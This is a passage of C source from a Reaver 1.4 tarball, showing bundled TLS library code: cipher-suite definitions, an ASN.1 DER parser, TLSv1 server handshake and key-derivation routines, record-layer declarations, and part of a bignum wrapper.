TLS_EXT_SERVER_NAME 0 /* RFC 4366 */ #define TLS_EXT_MAX_FRAGMENT_LENGTH 1 /* RFC 4366 */ #define TLS_EXT_CLIENT_CERTIFICATE_URL 2 /* RFC 4366 */ #define TLS_EXT_TRUSTED_CA_KEYS 3 /* RFC 4366 */ #define TLS_EXT_TRUNCATED_HMAC 4 /* RFC 4366 */ #define TLS_EXT_STATUS_REQUEST 5 /* RFC 4366 */ #define TLS_EXT_SESSION_TICKET 35 /* RFC 4507 */ #define TLS_EXT_PAC_OPAQUE TLS_EXT_SESSION_TICKET /* EAP-FAST terminology */ typedef enum { TLS_KEY_X_NULL, TLS_KEY_X_RSA, TLS_KEY_X_RSA_EXPORT, TLS_KEY_X_DH_DSS_EXPORT, TLS_KEY_X_DH_DSS, TLS_KEY_X_DH_RSA_EXPORT, TLS_KEY_X_DH_RSA, TLS_KEY_X_DHE_DSS_EXPORT, TLS_KEY_X_DHE_DSS, TLS_KEY_X_DHE_RSA_EXPORT, TLS_KEY_X_DHE_RSA, TLS_KEY_X_DH_anon_EXPORT, TLS_KEY_X_DH_anon } tls_key_exchange; typedef enum { TLS_CIPHER_NULL, TLS_CIPHER_RC4_40, TLS_CIPHER_RC4_128, TLS_CIPHER_RC2_CBC_40, TLS_CIPHER_IDEA_CBC, TLS_CIPHER_DES40_CBC, TLS_CIPHER_DES_CBC, TLS_CIPHER_3DES_EDE_CBC, TLS_CIPHER_AES_128_CBC, TLS_CIPHER_AES_256_CBC } tls_cipher; typedef enum { TLS_HASH_NULL, TLS_HASH_MD5, TLS_HASH_SHA } tls_hash; struct tls_cipher_suite { u16 suite; tls_key_exchange key_exchange; tls_cipher cipher; tls_hash hash; }; typedef enum { TLS_CIPHER_STREAM, TLS_CIPHER_BLOCK } tls_cipher_type; struct tls_cipher_data { tls_cipher cipher; tls_cipher_type type; size_t key_material; size_t expanded_key_material; size_t block_size; /* also iv_size */ enum crypto_cipher_alg alg; }; struct tls_verify_hash { struct crypto_hash *md5_client; struct crypto_hash *sha1_client; struct crypto_hash *md5_server; struct crypto_hash *sha1_server; struct crypto_hash *md5_cert; struct crypto_hash *sha1_cert; }; const struct tls_cipher_suite * tls_get_cipher_suite(u16 suite); const struct tls_cipher_data * tls_get_cipher_data(tls_cipher cipher); int tls_server_key_exchange_allowed(tls_cipher cipher); int tls_parse_cert(const u8 *buf, size_t len, struct crypto_public_key **pk); int tls_verify_hash_init(struct tls_verify_hash *verify); void tls_verify_hash_add(struct tls_verify_hash *verify, const u8 *buf, size_t len); void tls_verify_hash_free(struct tls_verify_hash *verify); #endif /* TLSV1_COMMON_H */ reaver-1.4/src/tls/pkcs1.h0000755000175000017500000000155511705505260014771 0ustar reaverreaver/* * PKCS #1 (RSA Encryption) * Copyright (c) 2006-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef PKCS1_H #define PKCS1_H int pkcs1_encrypt(int block_type, struct crypto_rsa_key *key, int use_private, const u8 *in, size_t inlen, u8 *out, size_t *outlen); int pkcs1_v15_private_key_decrypt(struct crypto_rsa_key *key, const u8 *in, size_t inlen, u8 *out, size_t *outlen); int pkcs1_decrypt_public_key(struct crypto_rsa_key *key, const u8 *crypt, size_t crypt_len, u8 *plain, size_t *plain_len); #endif /* PKCS1_H */ reaver-1.4/src/tls/asn1.c0000755000175000017500000001031411705505260014576 0ustar reaverreaver/* * ASN.1 DER parsing * Copyright (c) 2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "asn1.h" int asn1_get_next(const u8 *buf, size_t len, struct asn1_hdr *hdr) { const u8 *pos, *end; u8 tmp; os_memset(hdr, 0, sizeof(*hdr)); pos = buf; end = buf + len; hdr->identifier = *pos++; hdr->class = hdr->identifier >> 6; hdr->constructed = !!(hdr->identifier & (1 << 5)); if ((hdr->identifier & 0x1f) == 0x1f) { hdr->tag = 0; do { if (pos >= end) { wpa_printf(MSG_DEBUG, "ASN.1: Identifier " "underflow"); return -1; } tmp = *pos++; wpa_printf(MSG_MSGDUMP, "ASN.1: Extended tag data: " "0x%02x", tmp); hdr->tag = (hdr->tag << 7) | (tmp & 0x7f); } while (tmp & 0x80); } else hdr->tag = hdr->identifier & 0x1f; tmp = *pos++; if (tmp & 0x80) { if (tmp == 0xff) { wpa_printf(MSG_DEBUG, "ASN.1: Reserved length " "value 0xff used"); return -1; } tmp &= 0x7f; /* number of subsequent octets */ hdr->length = 0; if (tmp > 4) { wpa_printf(MSG_DEBUG, "ASN.1: Too long length field"); return -1; } while (tmp--) { if (pos >= end) { wpa_printf(MSG_DEBUG, "ASN.1: Length " "underflow"); return -1; } hdr->length = (hdr->length << 8) | *pos++; } } else { /* Short form - length 0..127 in one octet */ hdr->length = tmp; } if (end < pos || hdr->length > (unsigned int) (end - pos)) { wpa_printf(MSG_DEBUG, "ASN.1: Contents underflow"); return -1; } hdr->payload = pos; return 0; } int asn1_parse_oid(const u8 *buf, size_t len, struct asn1_oid *oid) { const u8 *pos, *end; unsigned long val; u8 tmp; os_memset(oid, 0, sizeof(*oid)); pos = buf; end = buf + len; while (pos < end) { val = 0; do { if (pos >= end) return -1; tmp = *pos++; val = (val << 7) | (tmp & 0x7f); } while (tmp & 0x80); if (oid->len >= ASN1_MAX_OID_LEN) { wpa_printf(MSG_DEBUG, "ASN.1: Too long OID value"); return -1; } if (oid->len == 0) { /* * The first octet encodes the first two object * identifier components in (X*40) + Y formula. * X = 0..2. */ oid->oid[0] = val / 40; if (oid->oid[0] > 2) oid->oid[0] = 2; oid->oid[1] = val - oid->oid[0] * 40; oid->len = 2; } else oid->oid[oid->len++] = val; } return 0; } int asn1_get_oid(const u8 *buf, size_t len, struct asn1_oid *oid, const u8 **next) { struct asn1_hdr hdr; if (asn1_get_next(buf, len, &hdr) < 0 || hdr.length == 0) return -1; if (hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_OID) { wpa_printf(MSG_DEBUG, "ASN.1: Expected OID - found class %d " "tag 0x%x", hdr.class, hdr.tag); return -1; } *next = hdr.payload + hdr.length; return asn1_parse_oid(hdr.payload, hdr.length, oid); } void asn1_oid_to_str(struct asn1_oid *oid, char *buf, size_t len) { char *pos = buf; size_t i; int ret; if (len == 0) return; buf[0] = '\0'; for (i = 0; i < oid->len; i++) { ret = os_snprintf(pos, buf + len - pos, "%s%lu", i == 0 ? "" : ".", oid->oid[i]); if (ret < 0 || ret >= buf + len - pos) break; pos += ret; } buf[len - 1] = '\0'; } static u8 rotate_bits(u8 octet) { int i; u8 res; res = 0; for (i = 0; i < 8; i++) { res <<= 1; if (octet & 1) res |= 1; octet >>= 1; } return res; } unsigned long asn1_bit_string_to_long(const u8 *buf, size_t len) { unsigned long val = 0; const u8 *pos = buf; /* BER requires that unused bits are zero, so we can ignore the number * of unused bits */ pos++; if (len >= 2) val |= rotate_bits(*pos++); if (len >= 3) val |= ((unsigned long) rotate_bits(*pos++)) << 8; if (len >= 4) val |= ((unsigned long) rotate_bits(*pos++)) << 16; if (len >= 5) val |= ((unsigned long) rotate_bits(*pos++)) << 24; if (len >= 6) wpa_printf(MSG_DEBUG, "X509: %s - some bits ignored " "(BIT STRING length %lu)", __func__, (unsigned long) len); return val; } reaver-1.4/src/tls/tlsv1_server.c0000755000175000017500000003724411705505260016406 0ustar reaverreaver/* * TLSv1 server (RFC 2246) * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/sha1.h" #include "crypto/tls.h" #include "tlsv1_common.h" #include "tlsv1_record.h" #include "tlsv1_server.h" #include "tlsv1_server_i.h" /* TODO: * Support for a message fragmented across several records (RFC 2246, 6.2.1) */ void tlsv1_server_alert(struct tlsv1_server *conn, u8 level, u8 description) { conn->alert_level = level; conn->alert_description = description; } int tlsv1_server_derive_keys(struct tlsv1_server *conn, const u8 *pre_master_secret, size_t pre_master_secret_len) { u8 seed[2 * TLS_RANDOM_LEN]; u8 key_block[TLS_MAX_KEY_BLOCK_LEN]; u8 *pos; size_t key_block_len; if (pre_master_secret) { wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: pre_master_secret", pre_master_secret, pre_master_secret_len); os_memcpy(seed, conn->client_random, TLS_RANDOM_LEN); os_memcpy(seed + TLS_RANDOM_LEN, conn->server_random, TLS_RANDOM_LEN); if (tls_prf(pre_master_secret, pre_master_secret_len, "master secret", seed, 2 * TLS_RANDOM_LEN, conn->master_secret, TLS_MASTER_SECRET_LEN)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive " "master_secret"); return -1; } wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: master_secret", conn->master_secret, TLS_MASTER_SECRET_LEN); } os_memcpy(seed, conn->server_random, TLS_RANDOM_LEN); os_memcpy(seed + TLS_RANDOM_LEN, conn->client_random, TLS_RANDOM_LEN); key_block_len = 2 * (conn->rl.hash_size + conn->rl.key_material_len + conn->rl.iv_size); if (tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN, "key expansion", seed, 2 * TLS_RANDOM_LEN, key_block, key_block_len)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive key_block"); return -1; } wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: key_block", key_block, key_block_len); pos = key_block; /* client_write_MAC_secret */ os_memcpy(conn->rl.read_mac_secret, pos, conn->rl.hash_size); pos += conn->rl.hash_size; /* server_write_MAC_secret */ os_memcpy(conn->rl.write_mac_secret, pos, conn->rl.hash_size); pos += conn->rl.hash_size; /* client_write_key */ os_memcpy(conn->rl.read_key, pos, conn->rl.key_material_len); pos += conn->rl.key_material_len; /* server_write_key */ os_memcpy(conn->rl.write_key, pos, conn->rl.key_material_len); pos += conn->rl.key_material_len; /* client_write_IV */ os_memcpy(conn->rl.read_iv, pos, conn->rl.iv_size); pos += conn->rl.iv_size; /* server_write_IV */ os_memcpy(conn->rl.write_iv, pos, conn->rl.iv_size); pos += conn->rl.iv_size; return 0; } /** * tlsv1_server_handshake - Process TLS handshake * @conn: TLSv1 server connection data from tlsv1_server_init() * @in_data: Input data from TLS peer * @in_len: Input data length * @out_len: Length of the output buffer. * Returns: Pointer to output data, %NULL on failure */ u8 * tlsv1_server_handshake(struct tlsv1_server *conn, const u8 *in_data, size_t in_len, size_t *out_len) { const u8 *pos, *end; u8 *msg = NULL, *in_msg, *in_pos, *in_end, alert, ct; size_t in_msg_len; if (in_data == NULL || in_len == 0) { wpa_printf(MSG_DEBUG, "TLSv1: No input data to server"); return NULL; } pos = in_data; end = in_data + in_len; in_msg = os_malloc(in_len); if (in_msg == NULL) return NULL; /* Each received packet may include multiple records */ while (pos < end) { in_msg_len = in_len; if (tlsv1_record_receive(&conn->rl, pos, end - pos, in_msg, &in_msg_len, &alert)) { wpa_printf(MSG_DEBUG, "TLSv1: Processing received " "record failed"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, alert); goto failed; } ct = pos[0]; in_pos = in_msg; in_end = in_msg + in_msg_len; /* Each received record may include multiple messages of the * same ContentType. */ while (in_pos < in_end) { in_msg_len = in_end - in_pos; if (tlsv1_server_process_handshake(conn, ct, in_pos, &in_msg_len) < 0) goto failed; in_pos += in_msg_len; } pos += TLS_RECORD_HEADER_LEN + WPA_GET_BE16(pos + 3); } os_free(in_msg); in_msg = NULL; msg = tlsv1_server_handshake_write(conn, out_len); failed: os_free(in_msg); if (conn->alert_level) { if (conn->state == FAILED) { /* Avoid alert loops */ wpa_printf(MSG_DEBUG, "TLSv1: Drop alert loop"); os_free(msg); return NULL; } conn->state = FAILED; os_free(msg); msg = tlsv1_server_send_alert(conn, conn->alert_level, conn->alert_description, out_len); } return msg; } /** * tlsv1_server_encrypt - Encrypt data into TLS tunnel * @conn: TLSv1 server connection data from tlsv1_server_init() * @in_data: Pointer to plaintext data to be encrypted * @in_len: Input buffer length * @out_data: Pointer to output buffer (encrypted TLS data) * @out_len: Maximum out_data length * Returns: Number of bytes written to out_data, -1 on failure * * This function is used after TLS handshake has been completed successfully to * send data in the encrypted tunnel. */ int tlsv1_server_encrypt(struct tlsv1_server *conn, const u8 *in_data, size_t in_len, u8 *out_data, size_t out_len) { size_t rlen; wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: Plaintext AppData", in_data, in_len); os_memcpy(out_data + TLS_RECORD_HEADER_LEN, in_data, in_len); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_APPLICATION_DATA, out_data, out_len, in_len, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } return rlen; } /** * tlsv1_server_decrypt - Decrypt data from TLS tunnel * @conn: TLSv1 server connection data from tlsv1_server_init() * @in_data: Pointer to input buffer (encrypted TLS data) * @in_len: Input buffer length * @out_data: Pointer to output buffer (decrypted data from TLS tunnel) * @out_len: Maximum out_data length * Returns: Number of bytes written to out_data, -1 on failure * * This function is used after TLS handshake has been completed successfully to * receive data from the encrypted tunnel. */ int tlsv1_server_decrypt(struct tlsv1_server *conn, const u8 *in_data, size_t in_len, u8 *out_data, size_t out_len) { const u8 *in_end, *pos; int res; u8 alert, *out_end, *out_pos; size_t olen; pos = in_data; in_end = in_data + in_len; out_pos = out_data; out_end = out_data + out_len; while (pos < in_end) { if (pos[0] != TLS_CONTENT_TYPE_APPLICATION_DATA) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected content type " "0x%x", pos[0]); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } olen = out_end - out_pos; res = tlsv1_record_receive(&conn->rl, pos, in_end - pos, out_pos, &olen, &alert); if (res < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Record layer processing " "failed"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, alert); return -1; } out_pos += olen; if (out_pos > out_end) { wpa_printf(MSG_DEBUG, "TLSv1: Buffer not large enough " "for processing the received record"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos += TLS_RECORD_HEADER_LEN + WPA_GET_BE16(pos + 3); } return out_pos - out_data; } /** * tlsv1_server_global_init - Initialize TLSv1 server * Returns: 0 on success, -1 on failure * * This function must be called before using any other TLSv1 server functions. */ int tlsv1_server_global_init(void) { return crypto_global_init(); } /** * tlsv1_server_global_deinit - Deinitialize TLSv1 server * * This function can be used to deinitialize the TLSv1 server that was * initialized by calling tlsv1_server_global_init(). No TLSv1 server functions * can be called after this before calling tlsv1_server_global_init() again. */ void tlsv1_server_global_deinit(void) { crypto_global_deinit(); } /** * tlsv1_server_init - Initialize TLSv1 server connection * @cred: Pointer to server credentials from tlsv1_server_cred_alloc() * Returns: Pointer to TLSv1 server connection data or %NULL on failure */ struct tlsv1_server * tlsv1_server_init(struct tlsv1_credentials *cred) { struct tlsv1_server *conn; size_t count; u16 *suites; conn = os_zalloc(sizeof(*conn)); if (conn == NULL) return NULL; conn->cred = cred; conn->state = CLIENT_HELLO; if (tls_verify_hash_init(&conn->verify) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to initialize verify " "hash"); os_free(conn); return NULL; } count = 0; suites = conn->cipher_suites; #ifndef CONFIG_CRYPTO_INTERNAL suites[count++] = TLS_RSA_WITH_AES_256_CBC_SHA; #endif /* CONFIG_CRYPTO_INTERNAL */ suites[count++] = TLS_RSA_WITH_AES_128_CBC_SHA; suites[count++] = TLS_RSA_WITH_3DES_EDE_CBC_SHA; suites[count++] = TLS_RSA_WITH_RC4_128_SHA; suites[count++] = TLS_RSA_WITH_RC4_128_MD5; conn->num_cipher_suites = count; return conn; } static void tlsv1_server_clear_data(struct tlsv1_server *conn) { tlsv1_record_set_cipher_suite(&conn->rl, TLS_NULL_WITH_NULL_NULL); tlsv1_record_change_write_cipher(&conn->rl); tlsv1_record_change_read_cipher(&conn->rl); tls_verify_hash_free(&conn->verify); crypto_public_key_free(conn->client_rsa_key); conn->client_rsa_key = NULL; os_free(conn->session_ticket); conn->session_ticket = NULL; conn->session_ticket_len = 0; conn->use_session_ticket = 0; os_free(conn->dh_secret); conn->dh_secret = NULL; conn->dh_secret_len = 0; } /** * tlsv1_server_deinit - Deinitialize TLSv1 server connection * @conn: TLSv1 server connection data from tlsv1_server_init() */ void tlsv1_server_deinit(struct tlsv1_server *conn) { tlsv1_server_clear_data(conn); os_free(conn); } /** * tlsv1_server_established - Check whether connection has been established * @conn: TLSv1 server connection data from tlsv1_server_init() * Returns: 1 if connection is established, 0 if not */ int tlsv1_server_established(struct tlsv1_server *conn) { return conn->state == ESTABLISHED; } /** * tlsv1_server_prf - Use TLS-PRF to derive keying material * @conn: TLSv1 server connection data from tlsv1_server_init() * @label: Label (e.g., description of the key) for PRF * @server_random_first: seed is 0 = client_random|server_random, * 1 = server_random|client_random * @out: Buffer for output data from TLS-PRF * @out_len: Length of the output buffer * Returns: 0 on success, -1 on failure */ int tlsv1_server_prf(struct tlsv1_server *conn, const char *label, int server_random_first, u8 *out, size_t out_len) { u8 seed[2 * TLS_RANDOM_LEN]; if (conn->state != ESTABLISHED) return -1; if (server_random_first) { os_memcpy(seed, conn->server_random, TLS_RANDOM_LEN); os_memcpy(seed + TLS_RANDOM_LEN, conn->client_random, TLS_RANDOM_LEN); } else { os_memcpy(seed, conn->client_random, TLS_RANDOM_LEN); os_memcpy(seed + TLS_RANDOM_LEN, conn->server_random, TLS_RANDOM_LEN); } return tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN, label, seed, 2 * TLS_RANDOM_LEN, out, out_len); } /** * tlsv1_server_get_cipher - Get current cipher name * @conn: TLSv1 server connection data from tlsv1_server_init() * @buf: Buffer for the cipher name * @buflen: buf size * Returns: 0 on success, -1 on failure * * Get the name of the currently used cipher. */ int tlsv1_server_get_cipher(struct tlsv1_server *conn, char *buf, size_t buflen) { char *cipher; switch (conn->rl.cipher_suite) { case TLS_RSA_WITH_RC4_128_MD5: cipher = "RC4-MD5"; break; case TLS_RSA_WITH_RC4_128_SHA: cipher = "RC4-SHA"; break; case TLS_RSA_WITH_DES_CBC_SHA: cipher = "DES-CBC-SHA"; break; case TLS_RSA_WITH_3DES_EDE_CBC_SHA: cipher = "DES-CBC3-SHA"; break; case TLS_DH_anon_WITH_AES_128_CBC_SHA: cipher = "ADH-AES-128-SHA"; break; case TLS_RSA_WITH_AES_256_CBC_SHA: cipher = "AES-256-SHA"; break; case TLS_RSA_WITH_AES_128_CBC_SHA: cipher = "AES-128-SHA"; break; default: return -1; } if (os_strlcpy(buf, cipher, buflen) >= buflen) return -1; return 0; } /** * tlsv1_server_shutdown - Shutdown TLS connection * @conn: TLSv1 server connection data from tlsv1_server_init() * Returns: 0 on success, -1 on failure */ int tlsv1_server_shutdown(struct tlsv1_server *conn) { conn->state = CLIENT_HELLO; if (tls_verify_hash_init(&conn->verify) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to re-initialize verify " "hash"); return -1; } tlsv1_server_clear_data(conn); return 0; } /** * tlsv1_server_resumed - Was session resumption used * @conn: TLSv1 server connection data from tlsv1_server_init() * Returns: 1 if current session used session resumption, 0 if not */ int tlsv1_server_resumed(struct tlsv1_server *conn) { return 0; } /** * tlsv1_server_get_keys - Get master key and random data from TLS connection * @conn: TLSv1 server connection data from tlsv1_server_init() * @keys: Structure of key/random data (filled on success) * Returns: 0 on success, -1 on failure */ int tlsv1_server_get_keys(struct tlsv1_server *conn, struct tls_keys *keys) { os_memset(keys, 0, sizeof(*keys)); if (conn->state == CLIENT_HELLO) return -1; keys->client_random = conn->client_random; keys->client_random_len = TLS_RANDOM_LEN; if (conn->state != SERVER_HELLO) { keys->server_random = conn->server_random; keys->server_random_len = TLS_RANDOM_LEN; keys->master_key = conn->master_secret; keys->master_key_len = TLS_MASTER_SECRET_LEN; } return 0; } /** * tlsv1_server_get_keyblock_size - Get TLS key_block size * @conn: TLSv1 server connection data from tlsv1_server_init() * Returns: Size of the key_block for the negotiated cipher suite or -1 on * failure */ int tlsv1_server_get_keyblock_size(struct tlsv1_server *conn) { if (conn->state == CLIENT_HELLO || conn->state == SERVER_HELLO) return -1; return 2 * (conn->rl.hash_size + conn->rl.key_material_len + conn->rl.iv_size); } /** * tlsv1_server_set_cipher_list - Configure acceptable cipher suites * @conn: TLSv1 server connection data from tlsv1_server_init() * @ciphers: Zero (TLS_CIPHER_NONE) terminated list of allowed ciphers * (TLS_CIPHER_*). * Returns: 0 on success, -1 on failure */ int tlsv1_server_set_cipher_list(struct tlsv1_server *conn, u8 *ciphers) { size_t count; u16 *suites; /* TODO: implement proper configuration of cipher suites */ if (ciphers[0] == TLS_CIPHER_ANON_DH_AES128_SHA) { count = 0; suites = conn->cipher_suites; #ifndef CONFIG_CRYPTO_INTERNAL suites[count++] = TLS_RSA_WITH_AES_256_CBC_SHA; #endif /* CONFIG_CRYPTO_INTERNAL */ suites[count++] = TLS_RSA_WITH_AES_128_CBC_SHA; suites[count++] = TLS_RSA_WITH_3DES_EDE_CBC_SHA; suites[count++] = TLS_RSA_WITH_RC4_128_SHA; suites[count++] = TLS_RSA_WITH_RC4_128_MD5; #ifndef CONFIG_CRYPTO_INTERNAL suites[count++] = TLS_DH_anon_WITH_AES_256_CBC_SHA; #endif /* CONFIG_CRYPTO_INTERNAL */ suites[count++] = TLS_DH_anon_WITH_AES_128_CBC_SHA; suites[count++] = TLS_DH_anon_WITH_3DES_EDE_CBC_SHA; suites[count++] = TLS_DH_anon_WITH_RC4_128_MD5; suites[count++] = TLS_DH_anon_WITH_DES_CBC_SHA; conn->num_cipher_suites = count; } return 0; } int tlsv1_server_set_verify(struct tlsv1_server *conn, int verify_peer) { conn->verify_peer = verify_peer; return 0; } void tlsv1_server_set_session_ticket_cb(struct tlsv1_server *conn, tlsv1_server_session_ticket_cb cb, void *ctx) { wpa_printf(MSG_DEBUG, "TLSv1: SessionTicket callback set %p (ctx %p)", cb, ctx); conn->session_ticket_cb = cb; conn->session_ticket_cb_ctx = ctx; } reaver-1.4/src/tls/tlsv1_record.h0000755000175000017500000000407711705505260016361 0ustar reaverreaver/* * TLSv1 Record Protocol * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef TLSV1_RECORD_H #define TLSV1_RECORD_H #include "crypto/crypto.h" #define TLS_MAX_WRITE_MAC_SECRET_LEN 20 #define TLS_MAX_WRITE_KEY_LEN 32 #define TLS_MAX_IV_LEN 16 #define TLS_MAX_KEY_BLOCK_LEN (2 * (TLS_MAX_WRITE_MAC_SECRET_LEN + \ TLS_MAX_WRITE_KEY_LEN + TLS_MAX_IV_LEN)) #define TLS_SEQ_NUM_LEN 8 #define TLS_RECORD_HEADER_LEN 5 /* ContentType */ enum { TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC = 20, TLS_CONTENT_TYPE_ALERT = 21, TLS_CONTENT_TYPE_HANDSHAKE = 22, TLS_CONTENT_TYPE_APPLICATION_DATA = 23 }; struct tlsv1_record_layer { u8 write_mac_secret[TLS_MAX_WRITE_MAC_SECRET_LEN]; u8 read_mac_secret[TLS_MAX_WRITE_MAC_SECRET_LEN]; u8 write_key[TLS_MAX_WRITE_KEY_LEN]; u8 read_key[TLS_MAX_WRITE_KEY_LEN]; u8 write_iv[TLS_MAX_IV_LEN]; u8 read_iv[TLS_MAX_IV_LEN]; size_t hash_size; size_t key_material_len; size_t iv_size; /* also block_size */ enum crypto_hash_alg hash_alg; enum crypto_cipher_alg cipher_alg; u8 write_seq_num[TLS_SEQ_NUM_LEN]; u8 read_seq_num[TLS_SEQ_NUM_LEN]; u16 cipher_suite; u16 write_cipher_suite; u16 read_cipher_suite; struct crypto_cipher *write_cbc; struct crypto_cipher *read_cbc; }; int tlsv1_record_set_cipher_suite(struct tlsv1_record_layer *rl, u16 cipher_suite); int tlsv1_record_change_write_cipher(struct tlsv1_record_layer *rl); int tlsv1_record_change_read_cipher(struct tlsv1_record_layer *rl); int tlsv1_record_send(struct tlsv1_record_layer *rl, u8 content_type, u8 *buf, size_t buf_size, size_t payload_len, size_t *out_len); int tlsv1_record_receive(struct tlsv1_record_layer *rl, const u8 *in_data, size_t in_len, u8 *out_data, size_t *out_len, u8 *alert); #endif /* TLSV1_RECORD_H */ reaver-1.4/src/tls/pkcs5.h0000755000175000017500000000115711705505260014773 0ustar reaverreaver/* * PKCS #5 (Password-based Encryption) * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef PKCS5_H #define PKCS5_H u8 * pkcs5_decrypt(const u8 *enc_alg, size_t enc_alg_len, const u8 *enc_data, size_t enc_data_len, const char *passwd, size_t *data_len); #endif /* PKCS5_H */ reaver-1.4/src/tls/bignum.c0000755000175000017500000001310711705505260015220 0ustar reaverreaver/* * Big number math * Copyright (c) 2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "bignum.h" #ifdef CONFIG_INTERNAL_LIBTOMMATH #include "libtommath.c" #else /* CONFIG_INTERNAL_LIBTOMMATH */ #include #endif /* CONFIG_INTERNAL_LIBTOMMATH */ /* * The current version is just a wrapper for LibTomMath library, so * struct bignum is just typecast to mp_int. */ /** * bignum_init - Allocate memory for bignum * Returns: Pointer to allocated bignum or %NULL on failure */ struct bignum * bignum_init(void) { struct bignum *n = os_zalloc(sizeof(mp_int)); if (n == NULL) return NULL; if (mp_init((mp_int *) n) != MP_OKAY) { os_free(n); n = NULL; } return n; } /** * bignum_deinit - Free bignum * @n: Bignum from bignum_init() */ void bignum_deinit(struct bignum *n) { if (n) { mp_clear((mp_int *) n); os_free(n); } } /** * bignum_get_unsigned_bin - Get length of bignum as an unsigned binary buffer * @n: Bignum from bignum_init() * Returns: Length of n if written to a binary buffer */ size_t bignum_get_unsigned_bin_len(struct bignum *n) { return mp_unsigned_bin_size((mp_int *) n); } /** * bignum_get_unsigned_bin - Set binary buffer to unsigned bignum * @n: Bignum from bignum_init() * @buf: Buffer for the binary number * @len: Length of the buffer, can be %NULL if buffer is known to be long * enough. Set to used buffer length on success if not %NULL. * Returns: 0 on success, -1 on failure */ int bignum_get_unsigned_bin(const struct bignum *n, u8 *buf, size_t *len) { size_t need = mp_unsigned_bin_size((mp_int *) n); if (len && need > *len) { *len = need; return -1; } if (mp_to_unsigned_bin((mp_int *) n, buf) != MP_OKAY) { wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__); return -1; } if (len) *len = need; return 0; } /** * bignum_set_unsigned_bin - Set bignum based on unsigned binary buffer * @n: Bignum from bignum_init(); to be set to the given value * @buf: Buffer with unsigned binary value * @len: Length of buf in octets * Returns: 0 on success, -1 on failure */ int bignum_set_unsigned_bin(struct bignum *n, const u8 *buf, size_t len) { if (mp_read_unsigned_bin((mp_int *) n, (u8 *) buf, len) != MP_OKAY) { wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__); return -1; } return 0; } /** * bignum_cmp - Signed comparison * @a: Bignum from bignum_init() * @b: Bignum from bignum_init() * Returns: 0 on success, -1 on failure */ int bignum_cmp(const struct bignum *a, const struct bignum *b) { return mp_cmp((mp_int *) a, (mp_int *) b); } /** * bignum_cmd_d - Compare bignum to standard integer * @a: Bignum from bignum_init() * @b: Small integer * Returns: 0 on success, -1 on failure */ int bignum_cmp_d(const struct bignum *a, unsigned long b) { return mp_cmp_d((mp_int *) a, b); } /** * bignum_add - c = a + b * @a: Bignum from bignum_init() * @b: Bignum from bignum_init() * @c: Bignum from bignum_init(); used to store the result of a + b * Returns: 0 on success, -1 on failure */ int bignum_add(const struct bignum *a, const struct bignum *b, struct bignum *c) { if (mp_add((mp_int *) a, (mp_int *) b, (mp_int *) c) != MP_OKAY) { wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__); return -1; } return 0; } /** * bignum_sub - c = a - b * @a: Bignum from bignum_init() * @b: Bignum from bignum_init() * @c: Bignum from bignum_init(); used to store the result of a - b * Returns: 0 on success, -1 on failure */ int bignum_sub(const struct bignum *a, const struct bignum *b, struct bignum *c) { if (mp_sub((mp_int *) a, (mp_int *) b, (mp_int *) c) != MP_OKAY) { wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__); return -1; } return 0; } /** * bignum_mul - c = a * b * @a: Bignum from bignum_init() * @b: Bignum from bignum_init() * @c: Bignum from bignum_init(); used to store the result of a * b * Returns: 0 on success, -1 on failure */ int bignum_mul(const struct bignum *a, const struct bignum *b, struct bignum *c) { if (mp_mul((mp_int *) a, (mp_int *) b, (mp_int *) c) != MP_OKAY) { wpa_printf(MSG_DEBUG, "BIGNUM: %s failed", __func__); return -1; } return 0; } /** * bignum_mulmod - d = a * 